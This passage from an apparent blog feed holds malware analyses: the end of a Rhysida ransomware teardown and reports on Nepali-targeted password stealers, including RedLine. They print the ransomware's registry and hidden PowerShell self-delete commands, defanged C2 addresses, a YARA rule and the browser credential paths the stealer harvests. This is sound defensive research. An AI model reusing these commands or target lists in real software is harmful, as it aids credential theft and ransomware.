with ‘stackstrings’ technique and then checks the path to its executable file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DRwcP8yBV2maIJQB7nVgeQ.png" /></figure><p>After that it call <strong>printf</strong> and prints the path of the malware in its console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoJTiaQnfbPvibVaUd3qhw.png" /></figure><p>The sample then enumerate directories from A: to Z:. If it found any directory during that enumeration, it will enumerate the sub-directories as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7qigLJrXikagg7w9NoG7A.png" /></figure><p>It enumerates and list sub-directories using FindNextFile API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NL-R4gZ1gQV9l6j92iLzgQ.png" /></figure><p>For the directories and sub-directories found, the files inside them are encrypted with ChaCha20 algorithm, which references were found as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96xRSGD2yAO2L6BJmlojVw.png" /></figure><p>The encrypted files are in .rhysida extension. And the ransom note dropped is a pdf file called ‘CriticalBreachDetected.pdf’, which was also discovered during static analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fd_BJpIQOU0u6hTH6FnRXA.png" /></figure><p>Also, this sample contains excluded directories and extensions. They were found when checking labels with <strong>Ghidra</strong> as shown in two figures below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGQSnqBMICOp-7kLPiKvOw.png" /></figure><p>The extensions that this sample excludes are .bat, .bin, .cab, .cmd, .com, .cur, .diagcab, .diagcfg, .diagpkg, .drv, .dll, .exe, .hlp, .hta, .ico, .lnk, .msi, .ocx, .ps1, .psm1, .scr, .sys, .ini thumbs, .db, .url, .iso and .cab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mvu4wjIyJqJ8cdK0nRs_yg.png" /></figure><p>The directories that this sample excludes are Recycle Bin, Boot, Documents and Settings, PerfLogs, Program Files, Program Files (x86), ProgramData, Recovery, System Volume Information and Windows.</p><p>After completing enumerating (up to Z:) and encrypting files of found directories, the sample then executes different commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t05xVchZhlRfHS2gfU3xTg.png" /></figure><p>For the execution of the command, the sample calls CreateProcess API. The commands executed were the same that were found during the string analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UJ0sQ1IiVnDhNJ4SuBH6kQ.png" /></figure><p>This can be verified from Process Monitor capture as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*zqoxSUaT7zI8W36UNPw8zw.png" /></figure><p>Let&#39;s breakdown the commands executed by the sample. The first two commands that are executed are:</p><pre>cmd.exe /c reg delete &quot;HKCU\Conttol Panel\Desktop&quot; /v Wallpaper /f<br>cmd.exe /c reg delete &quot;HKCU\Conttol Panel\Desktop&quot; /v WallpaperStyle /f</pre><ul><li>Here, there is typo error with ‘Control’ written as ‘Conttol’. So, these two commands will execute but will fail to delete the targeted registry.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*ai8uPWbdtyJL8uAHweZW_w.png" /></figure><p>After that, the commands it tries to execute the following commands:</p><pre>cmd.exe /c reg add &quot;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop&quot; /v NoChangingWallPaper /t REG_SZ /d 1 /f<br>cmd.exe /c reg add &quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop&quot; /v NoChangingWallPaper /t REG_SZ /d 1 /f<br>cmd.exe /c reg add &quot;HKCU\\Control Panel\\Desktop&quot; /v Wallpaper /t REG_SZ /d &quot;C:\\Users\\Public\\bg.jpg&quot; /f<br>cmd.exe /c reg add &quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System&quot; /v Wallpaper /t REG_SZ /d &quot;C:\\Users\\Public\\bg.jpg&quot; /f<br>cmd.exe /c reg add &quot;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System&quot; /v WallpaperStyle /t REG_SZ /d 2 /f<br>cmd.exe /c reg add &quot;HKCU\\Control Panel\\Desktop&quot; /v WallpaperStyle /t REG_SZ /d 2 /f<br>rundll32.exe user32.dll,UpdatePerUserSystemParameters</pre><ul><li>With first two command, the sample add a new registry key NoChangingWallpaper under HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop and HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop and set it as 1.</li><li>With third command, the sample tries to add bg.jpg under Wallpaper registry key under HKCU\Control Panel\Desktop to set as wallpaper.</li><li>With fourth and fifth command, the sample add a new registry key WallpaperStyle with bg.jpg under HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System to setup wallpaper for login screen and set value 2 to set Stretch style.</li><li>The last command calls the UpdatePerUserSystemParameters function from the user32.dll to refresh the desktop wallpaper.</li></ul><p>But no file bg.jpg were found to be dropped under C:\Users\Public during the analysis. So, no wallpaper for background and lock screen were set by this sample.</p><p>At last, the sample executes the following command:</p><pre>cmd.exe /c start powershell.exe -WindowStyle Hidden -Command Sleep -Milliseconds 500; Remove-Item -Force -Path &quot; &quot; -ErrorAction SilentlyContinue;</pre><ul><li>By this the sample creates an instance of PowerShell and sleeps for 0.5 second and then delete itself. But in this case, the sample was unable to delete itself.</li></ul><h4><strong>MITRE ATT&amp;CK TTP:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*E3KY-LZ8FC7mFWqc0c-3TQ.png" /></figure><h4><strong>Detection with YARA:</strong></h4><pre>rule Rhysida_Ransomware{<br>meta:<br>        author= &quot;Venus Chhantel&quot;<br>        filetype= &quot;Win64 exe&quot;<br>        description= &quot;Detecting Rhysida 0.1 Ransomware&quot;<br>strings:<br>        $version= {52 68 79 73 69 64 61 2D 30 2E 31}<br>        <br>        $string1= {43 72 69 74 69 63 61 6C 42 72 65 61 63 68 44 65 74 65 63 74 65 64 2E 70 64 66}<br>        $string2= {43 3A 2F 55 73 65 72 73 2F 50 75 62 6C 69 63 2F 62 67 2E 6A 70 67}<br>        $string3= {72 68 79 73 69 64 61 66 6F 68 72 68 79 79 32 61 73 7A 69 37 62 6D 33 32 74 6E 6A 61 74 35 78 72 69 36 35 66 6F 70 63 78 6B 64 66 78 68 69 34 74 69 64 73 67 37 63 61 64 2E 6F 6E 69 6F 6E}<br>        $string4= {63 68 61 63 68 61 32 30}<br>        $string5= {49 6D 6D 65 64 69 61 74 65 20 52 65 73 70 6F 6E 73 65 20 52 65 71 75 69 72 65 64}<br>        $string6= {54 68 69 73 20 69 73 20 61 6E 20 61 75 74 6F 6D 61 74 65 64 20 61 6C 65 72 74 20 66 72 6F 6D 20 63 79 62 65 72 73 65 63 75 72 69 74 79 20 74 65 61 6D 20 52 68 79 73 69 64 61}<br><br>        $cmd1= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 64 65 6C 65 74 65 20 22 48 4B 43 55 5C 43 6F 6E 74 ?? 6F 6C 20 50 61 6E 65 6C 5C 44 65 73 6B 74 6F 70 22 20 2F 76 20 57 61 6C 6C 70 61 70 65 72 20 2F 66}<br>        $cmd2= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 64 65 6C 65 74 65 20 22 48 4B 43 55 5C 43 6F 6E 74 ?? 6F 6C 20 50 61 6E 65 6C 5C 44 65 73 6B 74 6F 70 22 20 2F 76 20 57 61 6C 6C 70 61 70 65 72 53 74 79 6C 65 20 2F 66}<br>        $cmd3= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 61 64 64 20 22 48 4B 43 55 5C 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 50 6F 6C 69 63 69 65 73 5C 41 63 74 69 76 65 44 65 73 6B 74 6F 70 22 20 2F 76 20 4E 6F 43 68 61 6E 67 69 6E 67 57 61 6C 6C 50 61 70 65 72 20 2F 74 20 52 45 47 5F 53 5A 20 2F 64 20 31 20 2F 66}<br>        $cmd4= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 61 64 64 20 22 48 4B 43 55 5C 43 6F 6E 74 72 6F 6C 20 50 61 6E 65 6C 5C 44 65 73 6B 74 6F 70 22 20 2F 76 20 57 61 6C 6C 70 61 70 65 72 20 2F 74 20 52 45 47 5F 53 5A 20 2F 64 20 22 43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 62 67 2E 6A 70 67 22 20 2F 66}<br>        $cmd5= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 61 64 64 20 22 48 4B 4C 4D 5C 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 50 6F 6C 69 63 69 65 73 5C 53 79 73 74 65 6D 22 20 2F 76 20 57 61 6C 6C 70 61 70 65 72 20 2F 74 20 52 45 47 5F 53 5A 20 2F 64 20 22 43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 62 67 2E 6A 70 67 22 20 2F 66}<br>        $cmd6= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 61 64 64 20 22 48 4B 4C 4D 5C 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 50 6F 6C 69 63 69 65 73 5C 53 79 73 74 65 6D 22 20 2F 76 20 57 61 6C 6C 70 61 70 65 72 53 74 79 6C 65 20 2F 74 20 52 45 47 5F 53 5A 20 2F 64 20 32 20 2F 66}<br>        $cmd7= {63 6D 64 2E 65 78 65 20 2F 63 20 72 65 67 20 61 64 64 20 22 48 4B 43 55 5C 43 6F 6E 74 72 6F 6C 20 50 61 6E 65 6C 5C 44 65 73 6B 74 6F 70 22 20 2F 76 20 57 61 6C 6C 70 61 70 65 72 53 74 79 6C 65 20 2F 74 20 52 45 47 5F 53 5A 20 2F 64 20 32 20 2F 66}<br>        $cmd8= {72 75 6E 64 6C 6C 33 32 2E 65 78 65 20 75 73 65 72 33 32 2E 64 6C 6C 2C 55 70 64 61 74 65 50 65 72 55 73 65 72 53 79 73 74 65 6D 50 61 72 61 6D 65 74 65 72 73}<br>        $cmd9= {63 6D 64 2E 65 78 65 20 2F 63 20 73 74 61 72 74 20 70 6F 77 65 72 73 68 65 6C 6C 2E 65 78 65 20 2D 57 69 6E 64 6F 77 53 74 79 6C 65 20 48 69 64 64 65 6E 20 2D 43 6F 6D 6D 61 6E 64 20 53 6C 65 65 70 20 2D 4D 69 6C 6C 69 73 65 63 6F 6E 64 73 20 ?? ?? ?? 3B}<br>        $cmd10= {52 65 6D 6F 76 65 2D 49 74 65 6D 20 2D 46 6F 72 63 65 20 2D 50 61 74 68 20 22}<br>        $cmd11= {22 20 2D 45 72 72 6F 72 41 63 74 69 6F 6E 20 53 69 6C 65 6E 74 6C 79 43 6F 6E 74 69 6E 75 65 3B}<br><br>condition:<br>        uint16(0) == 0x5A4D and<br>        (<br>                $version and <br>                4 of ($string*) and<br>                5 of ($cmd*)<br>        )<br>}</pre><h4><strong>Conclusion:</strong></h4><p>The Rhysida 0.1 ransomware is still at its early stage and has some bugs in it as found during the analysis. But precautions must still be taken to prevent or lower the risk from it since this ransomware has been connected to high-profile attacks soon after its release.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b233672c470" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis on malware imposing as adult content of Nepali celebrity]]></title>
            <link>https://medium.com/@venus.chhantel/analysis-on-malware-imposing-as-adult-content-of-nepali-celebrity-1d60109e9c6?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d60109e9c6</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[nepal]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[fake-news]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Sat, 18 Mar 2023 08:27:03 GMT</pubDate>
            <atom:updated>2023-08-20T05:11:15.705Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Background:</strong></h3><p>In the recent month, there is misinformation circulating concerning leaks of private video of Nepali female celebrities. Following the Twitter thread from <a href="https://medium.com/u/f58f3d956072">milann shrestha</a>:</p><h3>//ARISE on Twitter: &quot;Series of online news portals are likely to be under control of &quot;threat actors&quot;, distributing suspicious files. https://t.co/LfNc1PnsS4 pic.twitter.com/CtOPwPTXJ5 / Twitter&quot;</h3><p>Series of online news portals are likely to be under control of &quot;threat actors&quot;, distributing suspicious files. https://t.co/LfNc1PnsS4 pic.twitter.com/CtOPwPTXJ5</p><p>I found that the misinformation of private videos of Nepali celebrities being leaked were shared and advertised via some impersonated Facebook pages of major news sources of Nepal. This impersonation was done using puny code to make it seem similar to genuine for naked eyes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*r0ewLwZKefc4X2aO" /></figure><p>The real intent behind all this was to distribute password stealing malware. The malware samples imposing leaked private video of multiple Nepali female celebrities can be found below:</p><p><a href="https://bazaar.abuse.ch/sample/ae35a789f61e377dc715b0695b985d399dbcfe1650f0f10fe0ea40343fc4f0f8#file_info">MalwareBazaar | SHA256 ae35a789f61e377dc715b0695b985d399dbcfe1650f0f10fe0ea40343fc4f0f8 (abuse.ch)</a></p><p><a href="https://bazaar.abuse.ch/sample/d2a06c261eb6864cbda29fdf43d89a167de67b1c585affa83e9852f91275ab28/">MalwareBazaar | SHA256 d2a06c261eb6864cbda29fdf43d89a167de67b1c585affa83e9852f91275ab28 (abuse.ch)</a></p><h3>Analysis:</h3><p>I started my analysis with the malware sample which was imposing as private video leak of Swastima Khadka. There was a zipped file shared on drive, which on extracting included 2 files. The file icons were modified to that of a video. Additionally, the file name is lengthy with unnecessary digits possibly to hide the ‘.exe’ extension since typical users may not look at type as application. This may lead to user execution of the malware just because of video icon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*7j8s4U7z1Mej7QjhQiMjyw.png" /></figure><p>Both of the above file had exact same size. So, they could be the same file. On checking the MD5 hash of both of the file above, the hash matched and can be deduced that they were both the same file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOytu5fdwaQFyBMm_06pdA.png" /></figure><blockquote>cdca39597011ef4a3c57326d31674b4d</blockquote><p>On checking the headers of the executable using PEview tool, it was found that this malware was compiled on 27th Feb of 2023.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNA75Uko-k46HJVFpxVLvw.png" /></figure><p>I then fire up ProcMon tool and executed this malware in my own isolated virtual environment to understand the behavior of the malware. Here, I found that the malware was making network connection to 167[.]179[.]66[.]121:1337.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1JSzYS1AgDi5ZMSI4-RnQ.png" /></figure><blockquote>167[.]179[.]66[.]121:1337</blockquote><blockquote>vultrusercontent[.]com</blockquote><p>Furthermore, on checking the IP address 167[.]179[.]66[.]121 over VirusTotal, I found that this IP is associated to other possible malicious file that were also imposing as adult content and others. So, it is clear that this threat actor tries to lure its victim by imposing adult contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZ2BKLwXcGoWAbxaL8dKuw.png" /></figure><p>Now back to ProcMon tool, it was also found that the malware accessed the data stored by the browser. The malware accessed the default user’s cookies and login data of the Chrome browser from %LOCALAPPDATA%\Google\Chrome\User Data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFcfwPobT2OjjMguYcrMnA.png" /></figure><p>Wireshark was used to capture all the network traffic of the malware during the execution. I looked up for the above IP address 167[.]179[.]66[.]121 found in ProcMon. There it can be seen that the malware was communicating with that IP address over port 1337.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dsTjfuhFqrLOM-URkxdXcQ.png" /></figure><p>First the malware can be seen contacting the C2 server (hxxp://167[.]179[.]66[.]121[:]1337/api/setting) with GET method to get configuration. Then the malware exfiltrated the browser data containing cookie and password, along with the IP data through POST method in JSON as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAybEdJq5krY40LvNaJu_w.png" /></figure><p>This verifies that it is a password stealer malware targeting the browsers.</p><h3>MITRE ATT&amp;CK TTP:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*aEs2yEn0V9sBFiQKtj_LKw.png" /></figure><h3>Further Findings:</h3><p>The second malware sample which was imposing as private video leak of Nisha Adhikari, also used the similar TTP as covered above. But, the only difference was the IP address of its C2 server, which was 149[.]28[.]150[.]40.</p><h3>Indicator of Compromise (IoC):</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*mJfH0WPOcBscKlnXNWRpRA.png" /></figure><h3>Recommendations:</h3><ul><li>Do not download files from untrusted source.</li><li>Use updated antivirus.</li><li>Update all the password stored in the infected machine and implement multiple factor authentication.</li><li>Destroy all web session cookies.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d60109e9c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis on Stock Trading Nepal malware campaign]]></title>
            <link>https://medium.com/@venus.chhantel/analysis-on-stock-trading-nepal-malware-campaign-b690a64b5a76?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b690a64b5a76</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[stock-trading-nepal]]></category>
            <category><![CDATA[nepal]]></category>
            <category><![CDATA[redline-stealer]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Fri, 03 Feb 2023 09:22:46 GMT</pubDate>
            <atom:updated>2023-02-03T13:41:26.763Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ztDRpX4j1SdymN8qf3Ww2g.png" /></figure><p>In the recent event of time, there has been increase in scam and malware incidents in Nepal. As a security analyst with prime interest in malware, I carried out my research. During my investigation, I came across a Facebook page, named Stock Trading Nepal. This page appeared to be offering information and resources related to stock trading. But was distributing malware and scamming people. This page was recently created on Dec 9, 2022, and is still active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*iUFmtJEwaECBe9_LJ_1OIw.png" /><figcaption>Stock Trading Nepal transparency page</figcaption></figure><p>The Stock Trading Nepal page was running advertisements. I thus looked through Meta Ads Library and discovered two of their sponsored posts, where they were promoting their new NEPSE Trading Desktop program. They had two of their advertisement posts running from Jan 20 and Jan 23 of 2023. Through the advertisement, they had managed to deliver to their targeted audience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*YPogyuaTfFpfXFDp08JaFA.png" /><figcaption>Sponsored post from Stock Trading Nepal regarding their desktop software</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*UVlVX3Y9Q-qLMLj6nloB_A.png" /><figcaption>Stock Trading Nepal advertisement in Messenger</figcaption></figure><p>I wanted to get a hold of their file so that I could analyze it. <a href="https://medium.com/u/ad4a0db56d85">Ashish Bogati</a> and I messaged them and immediately got their responds, where they offered their stock trading app. The file was a password protected rar file named ‘Stock Trading.rar’ and shared through WeTransfer, a temporary file sharing platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*GUhbWRKOvQpxHZRn1R_NQQ.png" /><figcaption>Conversation with Stock Trading Nepal (1)</figcaption></figure><p>Still after getting hold of their application, I strike further communication so that I could obtain more information from them. After a while they started replying in Nepali, so it’s confirmed that Nepali are involved in this. Later, I told them that I had executed their application and asked for help, to which they replied with an offer to share their guide and then just ignored the messages. It’s because they just wanted that application to be executed, since the harm will be done after the execution, which analysis will be covered below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*yDoH0P8txaK4akZ2j7Vpog.png" /><figcaption>Coversation with Stock Trading Nepal (2)</figcaption></figure><h3>Analysis</h3><p>I downloaded the application shared by Stock Trading Nepal in my lab. On extracting the provided rar file, there was a ‘Stock Trading.exe’ executable. I started by uploading the file to the VirusTotal to scan it with different antivirus engine. This application was flagged as malicious by several security vendors. Out of 69, 32 of security vendors flagged it as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*C-X17EX44ETr4YIr9QZs1g.png" /><figcaption>‘Stock Trading.exe’ executable flagged as malicious in VirusTotal</figcaption></figure><p>Link to VirusTotal scan: <a href="https://www.virustotal.com/gui/file/7837a88b55d464bfa56a31888d82f611fccd4e87f01d6f16bc7485d61cfb724b/detection">https://www.virustotal.com/gui/file/7837a88b55d464bfa56a31888d82f611fccd4e87f01d6f16bc7485d61cfb724b/detection</a></p><p>Then I checked the file header of that application, the time date stamp of the file, which showed the creation date to be 2056/08/16 08:09:28 UTC. This is impossible and is evident that time stomping is carried out on this executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*_0GnqFnue6papKaWsUW6cg.png" /><figcaption>Checking the time data stamp of the executable</figcaption></figure><p>The executable was then uploaded in an online sandbox environment, AnyRun to get an overview of the executable. On checking network connection, it was found that the executable connected to 172[.]173[.]180[.]63 over the port 80 which was flagged malicious. And on checking process, it was found that it first executed a PowerShell child process to run some base64 encoded command and then another ‘Stock Trading.exe’ child process, which was flagged as redline. Redline is a malware that harvest credential information from browser, system and crypto wallets. The fact that this malware can be purchased from underground forums makes it readily available for everyone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*DtFfDVNeCRoaQVCj_WQPUA.png" /><figcaption>Running the executable in AnyRun sandbox</figcaption></figure><p>Link to AnyRun scan: <a href="https://app.any.run/tasks/e331ae77-f68e-40d9-9d0a-0432928eaab9/">https://app.any.run/tasks/e331ae77-f68e-40d9-9d0a-0432928eaab9/</a></p><p>With the overview from the online sandbox results, I then focus on analysis of the executable in my own lab. On execution of the ‘Stock Trading.exe’, a GUI window popped for MetaTrader 5 client terminal setup. To the normal users, it looked like setting up a legitimate stock trading application named MetaTrader 5. But there is lot more going on the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*EYPTZ_fzpfdm_xoT7VmagQ.png" /><figcaption>MetaTrader 5 client terminal setup on executing ‘Stock Trading.exe’</figcaption></figure><p>On checking the file that had been dropped by this executable using FolderChangesView tool, it was found that two executables were dropped; ‘Pklybzakksfmt5setup.exe’ under the Temp folder and ‘Xudcetcqicw.exe’ under Roaming folder of AppData.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5um2W8OCKfuP9Dus-L-Vog.png" /><figcaption>Executable files dropped by ‘Stock Trading.exe’</figcaption></figure><p>Here, the ‘Pklybzakksfmt5setup.exe’ is the MetaTrader 5 setup executable. And, ‘Xudcetcqicw.exe’ was the same ‘Stock Trading.exe’ executable as verified by the MD5 hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*u11LuMUznB9gZUT1OSTPNA.png" /><figcaption>MD5 hash of ‘Stock Trading.exe’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8x8lIARS9Csd_A7VMixJIw.png" /><figcaption>MD5 hash of ‘Xudcetcqicw.exe’</figcaption></figure><p>On checking the processes using Procmon tool, the results were similar to that from AnyRun. The ‘Stock Trading.exe’ first had a PowerShell child process with base64 encoded command, which make the executable sleep for 20 seconds. After that, another two child processes ‘Pklybzakksfmt5setup.exe’ and ‘Stock Trading.exe’ were executed, where the ‘Pklybzakksfmt5setup.exe’ is the MetaTrader 5 setup executable and ‘Stock Trading.exe’ is the possible Redline malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lA5vQ4pV-Z4jvHpG-ze99w.png" /><figcaption>Monitoring process of ‘Stock Trading.exe’ in Procmon</figcaption></figure><p>To analyze further on the ‘Stock Trading.exe’ child process, ‘hollows_hunter’ tool was used to dump out this process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*h0DFqC2VHN50NLMR6_ABnw.png" /><figcaption>Child process ‘Stock Trading.exe’ dumped using hollows_hunter</figcaption></figure><p>On checking it on CFF explorer, I found a .NET directory in it. So this program was written in .NET.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*2yMYCdQBbc4hZYhZJf1MBg.png" /><figcaption>Checking the child process ‘Stock Trading.exe’ in CFF Explorer</figcaption></figure><p>I then opened up the dumped ‘Stock Trading.exe’ in dnSpy to decompile the .NET program. After decompiling, I jumped to the entry point of this malware. I found that after its execution, the malware first checks the country where the malware is being executed. If the country falls under the list of its RegionsCountry then it will terminate itself with Environment.Exit(0).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*QXryhZkWHo615cL837sunw.png" /><figcaption>Entry point of the program</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QWxRD5qM6lF0TeLO0sYcHA.png" /><figcaption>EnvironmentChecker class to check country and containing list of RegionCountry</figcaption></figure><p>Afterward, the malware check its arguments; consisting of IP, ID, message, key and version. But the IP and ID arguments are obfuscated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qkDXkDiMxtAwEn22I6G35w.png" /><figcaption>Arguments class containing obfuscated argument values</figcaption></figure><p>There was a StringDecrypt class, which contained the process for decryption. The obfuscated argument needs to be first decoded from base64. Then, should be XOR using the key argument from above, i.e., Slewing. And, then should be subjected to base64 again to get the final decrypted text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qGNqogBg_8GiuRr19f7V4A.png" /><figcaption>Decoding technique in StringDecrypt class</figcaption></figure><p>I used the above concept and decoded the IP and ID arguments using CyberChef. The IP and ID arguments were found to be 172[.]173[.]180[.]63:80 and ‘Stock market’ respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*EpLQpAZ1HZ_or5oN617CCA.png" /><figcaption>Decoding the obfuscated argument value using CyberChef</figcaption></figure><p>I had run Wireshark when executing this malware to capture its network traffic. I looked up for the above IP address and found the malware to be communicating with it over port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Ba_GEoQMbyj14BMKRaUIzQ.png" /><figcaption>Network capture of 172[.]173[.]180[.]63</figcaption></figure><p>On following the TCP stream, it was found that this malware was downloading configuration from its C2 server at 172[.]173[.]180[.]63 over port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dpVB8YEq1SQjMXMT3ihpPQ.png" /><figcaption>Malware downloading configuration from C2 server</figcaption></figure><p>The configuration includes the following paths targeting different applications:</p><ul><li>%userprofile%\Desktop</li><li>%userprofile%\Documents</li><li>%USERPROFILE%\AppData\Local\Battle.net</li><li>%USERPROFILE%\AppData\Local\Chromium\User Data</li><li>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</li><li>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</li><li>%USERPROFILE%\AppData\Roaming\Opera Software</li><li>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</li><li>%USERPROFILE%\AppData\Local\Iridium\User Data</li><li>%USERPROFILE%\AppData\Local\7Star\7Star\User Data</li><li>%USERPROFILE%\AppData\Local\CentBrowser\User Data</li><li>%USERPROFILE%\AppData\Local\Chedot\User Data</li><li>%USERPROFILE%\AppData\Local\Vivaldi\User Data</li><li>%USERPROFILE%\AppData\Local\Kometa\User Data</li><li>%USERPROFILE%\AppData\Local\Elements Browser\User Data</li><li>%USERPROFILE%\AppData\Local\Epic Privacy Browser\User Data</li><li>%USERPROFILE%\AppData\Local\uCozMedia\Uran\User Data</li><li>%USERPROFILE%\AppData\Local\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer</li><li>%USERPROFILE%\AppData\Local\CatalinaGroup\Citrio\User Data</li><li>%USERPROFILE%\AppData\Local\Coowon\Coowon\User Data</li><li>%USERPROFILE%\AppData\Local\liebao\User Data</li><li>%USERPROFILE%\AppData\Local\QIP Surf\User Data</li><li>%USERPROFILE%\AppData\Local\Orbitum\User Data</li><li>%USERPROFILE%\AppData\Local\Comodo\Dragon\User Data</li><li>%USERPROFILE%\AppData\Local\Amigo\User\User Data</li><li>%USERPROFILE%\AppData\Local\Torch\User Data</li><li>%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\User Data</li><li>%USERPROFILE%\AppData\Local\Comodo\User Data</li><li>%USERPROFILE%\AppData\Local\360Browser\Browser\User Data</li><li>%USERPROFILE%\AppData\Local\Maxthon3\User Data</li><li>%USERPROFILE%\AppData\Local\K-Melon\User Data</li><li>%USERPROFILE%\AppData\Local\Sputnik\Sputnik\User Data</li><li>%USERPROFILE%\AppData\Local\Nichrome\User Data</li><li>%USERPROFILE%\AppData\Local\CocCoc\Browser\User Data</li><li>%USERPROFILE%\AppData\Local\Uran\User Data</li><li>%USERPROFILE%\AppData\Local\Chromodo\User Data</li><li>%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User Data</li><li>%USERPROFILE%\AppData\Local\BraveSoftware\Brave-Browser\User Data</li><li>%USERPROFILE%\AppData\Local\Microsoft\Edge\User Data</li><li>%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce 